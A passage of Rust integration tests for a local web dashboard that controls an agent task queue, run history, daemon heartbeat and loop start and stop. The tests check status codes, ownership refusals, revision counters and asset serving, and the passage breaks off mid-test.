6721 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
6722 let f = Fixture::start().await;
6723 let queue = f.queue();
6724 let mut task = Task::new(
6725 "busy".to_owned(),
6726 "Running right now".to_owned(),
6727 PathBuf::from("/repo/magi"),
6728 Source::Human,
6729 );
6730 queue.put(&mut task).expect("file the task");
6731 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
6732
6733 let priority = f
6734 .post(
6735 &format!("/api/queue/{}/priority", task.id),
6736 Some(r#"{"priority":9}"#),
6737 )
6738 .await;
6739 assert_eq!(priority.status, 409, "{}", priority.body);
6740
6741 let edit = f
6742 .post(
6743 &format!("/api/queue/{}/edit", task.id),
6744 Some(r#"{"title":"x","instruction":"y"}"#),
6745 )
6746 .await;
6747 assert_eq!(edit.status, 409, "{}", edit.body);
6748 }
6749
6750 #[tokio::test]
6751 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
6752 let f = Fixture::start().await;
6753 let queue = f.queue();
6754 let mut task = Task::new(
6755 "shipped by hand".to_owned(),
6756 "merged outside the loop".to_owned(),
6757 PathBuf::from("/repo/magi"),
6758 Source::Agent {
6759 run: "20260101-000000-b455".to_owned(),
6760 node: "implement".to_owned(),
6761 },
6762 );
6763 task.runs.push("20260101-000000-b455".to_owned());
6764 task.runs.push("20260101-000000-9af4".to_owned());
6765 queue.put(&mut task).expect("file the task");
6766 let created_at = task.created_at;
6767
6768 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
6769 assert_eq!(done.status, 200, "{}", done.body);
6770 assert_eq!(done.json()["status_str"], "done");
6771
6772 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
6773 assert_eq!(
6774 reloaded.runs,
6775 ["20260101-000000-b455", "20260101-000000-9af4"]
6776 );
6777 assert_eq!(
6778 reloaded.source,
6779 Source::Agent {
6780 run: "20260101-000000-b455".to_owned(),
6781 node: "implement".to_owned(),
6782 }
6783 );
6784 assert_eq!(reloaded.created_at, created_at);
6785 }
6786
6787 #[tokio::test]
6788 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
6789 let f = Fixture::start().await;
6794 let queue = f.queue();
6795 let mut task = Task::new(
6796 "landed while held".to_owned(),
6797 "x".to_owned(),
6798 PathBuf::from("/repo/magi"),
6799 Source::Human,
6800 );
6801 task.hold(Some("waiting on 3ed9".to_owned()));
6802 queue.put(&mut task).expect("file the held task");
6803
6804 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
6805 assert_eq!(done.status, 200, "{}", done.body);
6806 assert_eq!(done.json()["status_str"], "done");
6807 assert!(
6808 done.json()["hold_reason"].is_null(),
6809 "a done task cannot still be waiting on something: {}",
6810 done.body
6811 );
6812 }
6813
6814 #[tokio::test]
6815 async fn unknown_ids_are_json_not_found_on_both_stores() {
6816 let f = Fixture::start().await;
6817
6818 let run = f.get("/api/runs/nosuchrun").await;
6819 let task = f.post("/api/queue/nosuchtask/hold", None).await;
6820
6821 assert_eq!(run.status, 404);
6822 assert_eq!(task.status, 404);
6823 assert!(
6824 run.json()["error"]
6825 .as_str()
6826 .is_some_and(|e| e.contains("run")),
6827 "the error names what was not found: {}",
6828 run.body
6829 );
6830 assert!(
6831 task.json()["error"]
6832 .as_str()
6833 .is_some_and(|e| e.contains("task")),
6834 "the error names what was not found: {}",
6835 task.body
6836 );
6837 }
6838
6839 #[tokio::test]
6840 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
6841 let f = Fixture::start().await;
6842
6843 let missing = f.get("/api/health").await.json();
6844 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
6845
6846 write_daemon(
6847 f.home.path(),
6848 Timestamp::now() - jiff::SignedDuration::from_secs(60),
6849 );
6850 let stale = f.get("/api/health").await.json();
6851 assert_eq!(
6852 stale["daemon"]["running"], false,
6853 "a minute without a heartbeat is a dead daemon, not a busy one"
6854 );
6855 assert!(
6856 stale["daemon"]["stale_for_secs"]
6857 .as_i64()
6858 .is_some_and(|s| s >= 55),
6859 "staleness is reported so the UI can say how long: {stale}"
6860 );
6861
6862 write_daemon(f.home.path(), Timestamp::now());
6863 let fresh = f.get("/api/health").await.json();
6864 assert_eq!(fresh["daemon"]["running"], true);
6865 assert_eq!(fresh["daemon"]["idle"], false);
6866 assert_eq!(fresh["daemon"]["pid"], 4242);
6867 assert_eq!(fresh["daemon"]["completed"], 7);
6868 assert_eq!(
6869 fresh["daemon"]["current"][0]["task"],
6870 "20260902-140501-aaaa"
6871 );
6872 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
6873 }
6874
6875 #[tokio::test]
6876 async fn the_loop_is_not_running_until_something_starts_it() {
6877 let f = Fixture::start().await;
6878
6879 let view = f.get("/api/loop").await.json();
6880 assert_eq!(view["running"], false);
6881 assert_eq!(
6882 view["owned"], false,
6883 "nobody owns a loop that does not exist: {view}"
6884 );
6885 assert_eq!(view["stopping"], false);
6886 assert_eq!(view["last_error"], Value::Null);
6887 assert_eq!(view["daemon"]["running"], false);
6888 assert_eq!(
6889 view["repo"], "/repo/magi",
6890 "the repository a start would use, named before it is started"
6891 );
6892 }
6893
6894 #[tokio::test]
6895 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
6896 let f = Fixture::start().await;
6897
6898 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6899 assert_eq!(res.status, 200, "{}", res.body);
6900 let view = res.json();
6901 assert_eq!(view["running"], true);
6902 assert_eq!(
6903 view["owned"], true,
6904 "the loop the UI started is the UI's own to stop: {view}"
6905 );
6906 assert_eq!(
6907 view["merge"],
6908 Value::Null,
6909 "no override was given, so each repository's own config decides"
6910 );
6911
6912 let health = f.get("/api/health").await.json();
6916 assert_eq!(health["loop"]["running"], true, "{health}");
6917 assert_eq!(health["loop"]["owned"], true, "{health}");
6918
6919 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6920 }
6921
6922 #[tokio::test]
6923 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
6924 let f = Fixture::start().await;
6925 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6926 assert_eq!(first.status, 200, "{}", first.body);
6927
6928 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6929 assert_eq!(
6930 again.status, 409,
6931 "two loops on one queue race for the same claims: {}",
6932 again.body
6933 );
6934 assert!(
6935 again.json()["error"]
6936 .as_str()
6937 .is_some_and(|e| e.contains("already running the loop")),
6938 "the refusal has to say why: {}",
6939 again.body
6940 );
6941 assert_eq!(
6942 f.get("/api/loop").await.json()["running"],
6943 true,
6944 "and the loop that was already running is untouched by it"
6945 );
6946
6947 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6948 }
6949
6950 #[tokio::test]
6951 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
6952 let f = Fixture::start().await;
6953 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6954
6955 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6956 assert_eq!(
6957 res.status, 200,
6958 "the answer must not wait for the loop: a run in flight is tens of \
6959 minutes and the operator is holding a phone: {}",
6960 res.body
6961 );
6962
6963 let view = settled(&f, |v| v["running"] == false).await;
6964 assert_eq!(view["owned"], false);
6965 assert_eq!(
6966 view["stopping"], false,
6967 "a loop that has stopped is not still stopping: {view}"
6968 );
6969 assert_eq!(
6970 view["last_error"],
6971 Value::Null,
6972 "a loop that was asked to stop did not fail: {view}"
6973 );
6974
6975 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6978 assert_eq!(twice.status, 200, "{}", twice.body);
6979 }
6980
6981 #[tokio::test]
6982 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
6983 let f = Fixture::start().await;
6984 write_daemon(f.home.path(), Timestamp::now());
6987
6988 let view = f.get("/api/loop").await.json();
6989 assert_eq!(view["running"], false, "not in this process: {view}");
6990 assert_eq!(view["owned"], false, "and not this process's to control");
6991 assert_eq!(
6992 view["daemon"]["running"], true,
6993 "but a loop is alive somewhere, which is what the UI must say"
6994 );
6995 assert_eq!(view["daemon"]["pid"], 4242);
6996
6997 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
6998 let res = f.post("/api/loop", Some(body)).await;
6999 assert_eq!(
7000 res.status, 409,
7001 "neither button may pretend to work on someone else's loop: {}",
7002 res.body
7003 );
7004 assert!(
7005 res.json()["error"]
7006 .as_str()
7007 .is_some_and(|e| e.contains("4242")),
7008 "the refusal has to name the process the operator must go to: {}",
7009 res.body
7010 );
7011 }
7012 assert_eq!(
7013 f.get("/api/loop").await.json()["running"],
7014 false,
7015 "and the refusal started nothing"
7016 );
7017 }
7018
7019 #[tokio::test]
7020 async fn a_stale_status_file_is_not_a_foreign_owner() {
7021 let f = Fixture::start().await;
7022 write_daemon(
7023 f.home.path(),
7024 Timestamp::now() - jiff::SignedDuration::from_secs(60),
7025 );
7026
7027 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7028 assert_eq!(
7029 res.status, 200,
7030 "a daemon killed a minute ago must not lock the loop out of its \
7031 own home for good: {}",
7032 res.body
7033 );
7034 assert_eq!(res.json()["running"], true);
7035
7036 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7037 }
7038
7039 #[tokio::test]
7040 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
7041 let f = Fixture::start().await;
7042 let before = f.get("/api/health").await.json()["loop_rev"]
7043 .as_u64()
7044 .expect("a loop revision");
7045
7046 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7047
7048 let after = f.get("/api/health").await.json()["loop_rev"]
7049 .as_u64()
7050 .expect("a loop revision");
7051 assert!(
7052 after > before,
7053 "the loop is in-process state, so this counter is the only thing \
7054 that tells a second device the first one started it: {before} -> \
7055 {after}"
7056 );
7057
7058 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7059 }
7060
7061 #[tokio::test]
7062 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
7063 let f = Fixture::with_loop(launch_broken).await;
7064
7065 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7066 assert_eq!(
7067 res.status, 200,
7068 "starting it is not the failure: {}",
7069 res.body
7070 );
7071
7072 let view = settled(&f, |v| v["last_error"].is_string()).await;
7073 assert_eq!(
7074 view["running"], false,
7075 "a loop that died must not read as running, or the operator has \
7076 nothing to press: {view}"
7077 );
7078 assert_eq!(view["owned"], false);
7079 assert!(
7080 view["last_error"]
7081 .as_str()
7082 .is_some_and(|e| e.contains("read-only file system")),
7083 "the phone is where a loop that died at 3am is visible: {view}"
7084 );
7085
7086 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7089 assert_eq!(again.status, 200, "{}", again.body);
7090 assert_eq!(
7091 again.json()["last_error"],
7092 Value::Null,
7093 "a fresh start does not keep showing why the last one died"
7094 );
7095 }
7096
7097 #[tokio::test]
7109 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
7110 let home = TempDir::new().expect("temp home");
7111 let runs = home.path().join("runs");
7112 std::fs::create_dir_all(&runs).expect("runs dir");
7113 let ui = Ui::new(
7114 Queue::at(home.path().join("queue")),
7115 Questions::at(home.path().join("questions")),
7116 Chats::at(home.path().join("chats")),
7117 Talks::at(home.path().join("talks")),
7118 runs,
7119 home.path().to_path_buf(),
7120 PathBuf::from("/repo/magi"),
7121 )
7122 .with_worktrees_root(home.path().join("wt"))
7123 .with_launch(launch_knocking_on_the_way_out);
7124 let looping = ui.looping();
7125 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7126 .await
7127 .expect("bind loopback");
7128 let addr = listener.local_addr().expect("local addr");
7129 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
7130 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
7131
7132 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
7133 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
7134
7135 let bound = std::sync::Mutex::new(None);
7138 hand_over(home.path(), &looping, served, || {
7139 let attempt = std::net::TcpListener::bind(addr).map_err(|e| e.to_string());
7140 *bound.lock().expect("bound") = Some(attempt);
7141 Ok(())
7142 })
7143 .await
7144 .expect("hand over");
7145
7146 assert_eq!(
7147 *PARK_HEARD.lock().expect("park heard"),
7148 Some(200),
7149 "the deck must answer while the loop is parking"
7150 );
7151 let attempt = bound
7152 .lock()
7153 .expect("bound")
7154 .take()
7155 .expect("the successor was started");
7156 assert!(
7157 attempt.is_ok(),
7158 "and the address must be free by the time it is: {attempt:?}"
7159 );
7160 }
7161
7162 #[tokio::test]
7163 async fn a_newer_daemon_status_file_still_renders() {
7164 let f = Fixture::start().await;
7165 std::fs::write(
7168 f.home.path().join("daemon.json"),
7169 serde_json::json!({
7170 "schema": 2,
7171 "updated_at": Timestamp::now().to_string(),
7172 "idle": true,
7173 "surprise": { "nested": [1, 2, 3] },
7174 })
7175 .to_string(),
7176 )
7177 .expect("write daemon.json");
7178
7179 let health = f.get("/api/health").await;
7180
7181 assert_eq!(health.status, 200);
7182 assert_eq!(health.json()["daemon"]["running"], true);
7183 }
7184
7185 #[tokio::test]
7186 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
7187 let f = Fixture::start().await;
7188 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
7189 let broken = f.runs().join("20260902-140502-bad");
7190 std::fs::create_dir_all(&broken).expect("run dir");
7191 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
7192
7193 let list = f.get("/api/runs").await;
7194 let detail = f.get("/api/runs/20260902-140502-bad").await;
7195
7196 assert_eq!(list.status, 200);
7197 let listed = list.json();
7198 let ids: Vec<&str> = listed
7199 .as_array()
7200 .expect("an array")
7201 .iter()
7202 .map(|r| r["id"].as_str().expect("an id"))
7203 .collect();
7204 assert_eq!(
7205 ids,
7206 vec!["20260902-140501-good"],
7207 "one unreadable run must not cost the operator the whole history"
7208 );
7209 assert_eq!(detail.status, 500);
7210 assert!(
7211 detail.json()["error"]
7212 .as_str()
7213 .is_some_and(|e| e.contains("run.json")),
7214 "the failure names the file to look at: {}",
7215 detail.body
7216 );
7217 let health = f.get("/api/health").await;
7221 assert_eq!(health.json()["runs_unreadable"], 1);
7222 }
7223
7224 #[tokio::test]
7225 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
7226 let f = Fixture::start().await;
7227 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
7228
7229 let summary = f.get("/api/runs").await.json();
7230 let row = &summary[0];
7231 assert_eq!(row["short"], "a1b2");
7232 assert_eq!(row["status"], "ready");
7233 assert_eq!(row["done"], true);
7234 assert_eq!(row["title"], "Add a web UI");
7235 assert_eq!(row["repo_name"], "magi");
7236 assert_eq!(row["judges"], 3);
7237 assert_eq!(row["winner"], Value::Null);
7238 assert_eq!(row["reviews"], 0);
7239
7240 let detail = f.get("/api/runs/a1b2").await;
7243 assert_eq!(detail.status, 200);
7244 assert_eq!(detail.json()["base_branch"], "main");
7245 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
7246 }
7247
7248 #[tokio::test]
7253 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
7254 let f = Fixture::start().await;
7255 let id = "20260902-140502-bbbb";
7259 let mut state = RunState::new(
7260 PathBuf::from("/repo/magi"),
7261 "main".to_owned(),
7262 "0123456789abcdef".to_owned(),
7263 "Add a web UI".to_owned(),
7264 Config::default(),
7265 );
7266 state.id = id.to_owned();
7267 state.status = RunStatus::Judging;
7268 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
7269 let dir = f.runs().join(id);
7270 std::fs::create_dir_all(&dir).expect("run dir");
7271 std::fs::write(
7272 dir.join("run.json"),
7273 serde_json::to_string_pretty(&state).expect("serialize run"),
7274 )
7275 .expect("write run.json");
7276
7277 let cold = f.get(&format!("/api/runs/{id}")).await.json();
7280 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
7281 assert_eq!(cold["live"], false, "{cold}");
7282
7283 write_daemon(f.home.path(), Timestamp::now());
7286 let warm = f.get(&format!("/api/runs/{id}")).await.json();
7287 assert_eq!(warm["live"], true, "{warm}");
7288 }
7289
7290 #[tokio::test]
7291 async fn the_run_list_is_newest_first_and_honours_a_limit() {
7292 let f = Fixture::start().await;
7293 for id in [
7294 "20260902-140501-aaaa",
7295 "20260902-140502-bbbb",
7296 "20260902-140503-cccc",
7297 ] {
7298 write_run(&f.runs(), id, RunStatus::Merged);
7299 }
7300
7301 let all = f.get("/api/runs").await.json();
7302 let capped = f.get("/api/runs?limit=2").await.json();
7303
7304 assert_eq!(all[0]["id"], "20260902-140503-cccc");
7305 assert_eq!(all.as_array().map(Vec::len), Some(3));
7306 assert_eq!(capped.as_array().map(Vec::len), Some(2));
7307 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
7308 }
7309
7310 #[tokio::test]
7311 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
7312 let f = Fixture::start().await;
7313 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
7314
7315 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
7316
7317 assert_eq!(res.status, 200);
7318 assert!(
7319 res.headers
7320 .contains("content-type: text/plain; charset=utf-8"),
7321 "a browser must render it, not download it: {}",
7322 res.headers
7323 );
7324 assert!(
7328 res.body.contains("20260902-140501-a1b2"),
7329 "the report is about the run that was asked for: {}",
7330 res.body
7331 );
7332 }
7333
7334 #[tokio::test]
7335 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
7336 let f = Fixture::start().await;
7337
7338 let html = f.get("/").await;
7339 let css = f.get("/app.css").await;
7340 let js = f.get("/app.js").await;
7341
7342 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
7343 assert!(
7344 html.headers
7345 .contains("content-type: text/html; charset=utf-8")
7346 );
7347 assert!(css.headers.contains("content-type: text/css"));
7348 assert!(js.headers.contains("content-type: text/javascript"));
7349 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
7350 }
7351
7352 #[tokio::test]
7353 async fn the_change_stream_announces_the_current_revisions_on_connect() {
7354 let f = Fixture::start().await;
7355
7356 let mut socket = tokio::net::TcpStream::connect(f.addr)
7357 .await
7358 .expect("connect");
7359 socket
7360 .write_all(
7361 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
7362 )
7363 .await
7364 .expect("write request");
7365
7366 let mut seen = String::new();
7369 let mut buf = [0u8; 1024];
7370 while !seen.contains("event: change") {
7371 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
7372 .await
7373 .expect("the stream must speak within five seconds")
7374 .expect("read");
7375 assert!(read > 0, "the server closed the change stream: {seen}");
7376 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
7377 }
7378
7379 assert!(
7380 seen.to_lowercase()
7381 .contains("content-type: text/event-stream"),
7382 "the browser only reconnects automatically for a real SSE stream: {seen}"
7383 );
7384 let data = seen
7385 .lines()
7386 .find_map(|l| l.strip_prefix("data:"))
7387 .expect("a data line");
7388 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
7389 assert!(
7390 payload["queue_rev"].is_u64()
7391 && payload["runs_rev"].is_u64()
7392 && payload["questions_rev"].is_u64()
7393 && payload["chats_rev"].is_u64()
7394 && payload["talks_rev"].is_u64()
7395 && payload["loop_rev"].is_u64(),
7396 "the client needs one revision per store to know what to refetch, \
7397 and `chats_rev` / `talks_rev` are the only notification a slow \
7398 interview or a standing talk get - a phone whose radio slept \
7399 through a turn learns about it here, as does one whose operator \
7400 started the loop from another device: {payload}"
7401 );
7402
7403 let health = f.get("/api/health").await.json();
7410 for key in [
7411 "queue_rev",
7412 "runs_rev",
7413 "questions_rev",
7414 "chats_rev",
7415 "talks_rev",
7416 "loop_rev",
7417 ] {
7418 assert!(
7419 health[key].is_u64(),
7420 "health is the change stream's fallback and is missing `{key}`: {health}"
7421 );
7422 }
7423 }
7424
7425 #[tokio::test]
7426 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
7427 let f = Fixture::start().await;
7428 let before = f.get("/api/health").await.json()["talks_rev"]
7429 .as_u64()
7430 .expect("talks_rev");
7431
7432 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
7433 std::thread::sleep(Duration::from_millis(10));
7434 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
7435 on_disk.turns.push(crate::talk::Turn {
7436 who: crate::talk::Who::Operator,
7437 body: "a new turn".to_owned(),
7438 at: Timestamp::now(),
7439 attachments: Vec::new(),
7440 });
7441 f.talks().put(&mut on_disk).expect("record a turn");
7442
7443 let after = f.get("/api/health").await.json()["talks_rev"]
7444 .as_u64()
7445 .expect("talks_rev");
7446 assert_ne!(
7447 before, after,
7448 "a phone must be able to notice a talk's reply without polling every store"
7449 );
7450 }
7451
7452 #[test]
7453 fn bind_reads_back_from_the_spelling_the_cli_prints() {
7454 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
7458 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
7459 }
7460 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
7461 assert!("everywhere".parse::<Bind>().is_err());
7462 }
7463
7464 #[test]
7465 fn an_explicit_bind_address_is_taken_verbatim() {
7466 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
7467
7468 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
7469
7470 assert_eq!(addr, asked);
7471 assert!(
7472 warning.is_none(),
7473 "an operator who named an address gets no lecture"
7474 );
7475 }
7476
7477 #[test]
7478 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
7479 let (addr, warning) = resolve_bind(&Bind::Auto);
7480
7481 match addr {
7488 IpAddr::V4(ip) if is_tailnet(&ip) => {
7489 assert!(warning.is_none(), "a tailnet address needs no warning");
7490 }
7491 other => {
7492 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
7493 let warning = warning.expect("a fallback has to explain itself");
7494 assert!(
7495 warning.contains("127.0.0.1") && warning.contains("local-only"),
7496 "the warning says what happened and what it costs: {warning}"
7497 );
7498 }
7499 }
7500 }
7501
7502 #[test]
7503 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
7504 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
7508 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
7509 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
7510 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
7511 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
7512 }
7513
7514 #[test]
7515 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
7516 let ids = vec![
7517 "20260902-140501-aaaa".to_owned(),
7518 "20260902-140502-aabb".to_owned(),
7519 ];
7520
7521 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
7522 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
7523 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
7524
7525 assert_eq!(missing.status, StatusCode::NOT_FOUND);
7526 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
7527 assert_eq!(short, "20260902-140502-aabb");
7528 }
7529 #[tokio::test]
7530 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
7531 let fx = Fixture::start().await;
7537 let id = panel(
7538 &fx,
7539 "<img src=\"shot.png\">",
7540 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
7541 );
7542
7543 let doc = fx
7545 .get(&format!("/api/questions/{id}/panel/index.html"))
7546 .await;
7547 assert_eq!(doc.status, 200, "{}", doc.body);
7548 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
7549
7550 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
7551 assert_eq!(sibling.status, 200, "{}", sibling.body);
7552 assert_eq!(sibling.header("content-type"), Some("image/png"));
7553 assert_eq!(
7554 sibling.header("content-security-policy"),
7555 Some(PANEL_CSP),
7556 "the sibling route must carry the same policy as the asset route"
7557 );
7558
7559 assert_eq!(
7562 fx.head(&format!("/api/questions/{id}/panel")).await.status,
7563 200
7564 );
7565 }
7566
7567 #[test]
7568 fn runs_revision_moves_when_deleting_an_older_run() {
7569 let temp = TempDir::new().expect("tempdir");
7570 let runs = temp.path().join("runs");
7571 std::fs::create_dir_all(&runs).expect("create runs dir");
7572
7573 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
7574
7575 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
7576 std::thread::sleep(Duration::from_millis(10));
7577 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
7578
7579 let rev_before = runs_revision(&runs);
7580 assert!(rev_before > 0);
7581
7582 let old_dir = runs.join("20260901-100000-old1");
7583 std::fs::remove_dir_all(&old_dir).expect("remove old run");
7584
7585 let rev_after = runs_revision(&runs);
7586 assert_ne!(
7587 rev_before, rev_after,
7588 "deleting an older run must change the revision so other clients see the deletion"
7589 );
7590 }
7591
7592 fn write_state(runs: &FsPath, state: &RunState) {
7597 let dir = runs.join(&state.id);
7598 std::fs::create_dir_all(&dir).expect("run dir");
7599 std::fs::write(
7600 dir.join("run.json"),
7601 serde_json::to_string_pretty(state).expect("serialize run"),
7602 )
7603 .expect("write run.json");
7604 }
7605
7606 #[test]
7611 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
7612 let temp = TempDir::new().expect("tempdir");
7613 let runs = temp.path().join("runs");
7614 std::fs::create_dir_all(&runs).expect("create runs dir");
7615 let mut state = RunState::new(
7616 PathBuf::from("/repo/magi"),
7617 "main".to_owned(),
7618 "0123456789abcdef".to_owned(),
7619 "task".to_owned(),
7620 Config::default(),
7621 );
7622 state.id = "20260902-100000-c0de".to_owned();
7623 write_state(&runs, &state);
7624
7625 let rev_idle = runs_revision(&runs);
7626 std::thread::sleep(Duration::from_millis(10));
7627 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
7628 write_state(&runs, &state);
7629 let rev_started = runs_revision(&runs);
7630 assert_ne!(
7631 rev_idle, rev_started,
7632 "a seat starting must move the revision"
7633 );
7634
7635 std::thread::sleep(Duration::from_millis(10));
7636 state.seat_finished("judge-1");
7637 write_state(&runs, &state);
7638 let rev_finished = runs_revision(&runs);
7639 assert_ne!(
7640 rev_started, rev_finished,
7641 "and clearing it again must move the revision a second time"
7642 );
7643 }
7644
7645 #[tokio::test]
7646 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
7647 let fx = Fixture::start().await;
7648 let q = fx.queue();
7649
7650 let mut t1 = Task::new(
7652 "Task 1".to_owned(),
7653 "Instruction 1".to_owned(),
7654 PathBuf::from("/repo"),
7655 Source::Human,
7656 );
7657 let run_id = "20260901-000000-r111";
7658 t1.runs.push(run_id.to_owned());
7659 write_run(&fx.runs(), run_id, RunStatus::Merged);
7660 q.put(&mut t1).expect("put t1");
7661
7662 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
7664 assert_eq!(res.status, 204);
7665 assert!(res.body.is_empty(), "204 No Content has no body");
7666 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
7667 assert!(
7668 fx.runs().join(run_id).exists(),
7669 "run directory must not be deleted when its task is deleted"
7670 );
7671
7672 let mut t2 = Task::new(
7674 "Task 2".to_owned(),
7675 "Instruction 2".to_owned(),
7676 PathBuf::from("/repo"),
7677 Source::Human,
7678 );
7679 t2.status = TaskStatus::Running;
7680 q.put(&mut t2).expect("put t2");
7681 let mut beat = crate::daemon::Status::new();
7682 beat.current = vec![crate::daemon::Current {
7683 task: t2.id.clone(),
7684 run: "20260901-000000-r222".to_owned(),
7685 }];
7686 beat.updated_at = jiff::Timestamp::now();
7687 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7688 .expect("publish a heartbeat");
7689 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
7690 assert_eq!(res.status, 409);
7691 assert!(
7692 res.json()["error"]
7693 .as_str()
7694 .unwrap()
7695 .contains("live daemon")
7696 );
7697 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
7698
7699 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
7705 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7706 .expect("leave a stale heartbeat");
7707 let mut t3 = Task::new(
7708 "Task 3".to_owned(),
7709 "Instruction 3".to_owned(),
7710 PathBuf::from("/repo"),
7711 Source::Human,
7712 );
7713 t3.status = TaskStatus::Running;
7714 q.put(&mut t3).expect("put t3");
7715 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
7716 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
7717 assert_eq!(res.status, 204);
7718 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
7719 assert!(
7720 q.claim(&t3.id).is_ok(),
7721 "the stale lock went with it, so the id is claimable again"
7722 );
7723
7724 let res = fx.delete("/api/queue/nonexistent").await;
7726 assert_eq!(res.status, 404);
7727 }
7728
7729 #[tokio::test]
7730 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
7731 let fx = Fixture::start().await;
7732 let runs = fx.runs();
7733
7734 let run_id = "20260901-000000-fold";
7736 let mut state = RunState::new(
7737 PathBuf::from("/repo"),
7738 "main".to_owned(),
7739 "abc".to_owned(),
7740 "instruction".to_owned(),
7741 Config::default(),
7742 );
7743 state.id = run_id.to_owned();
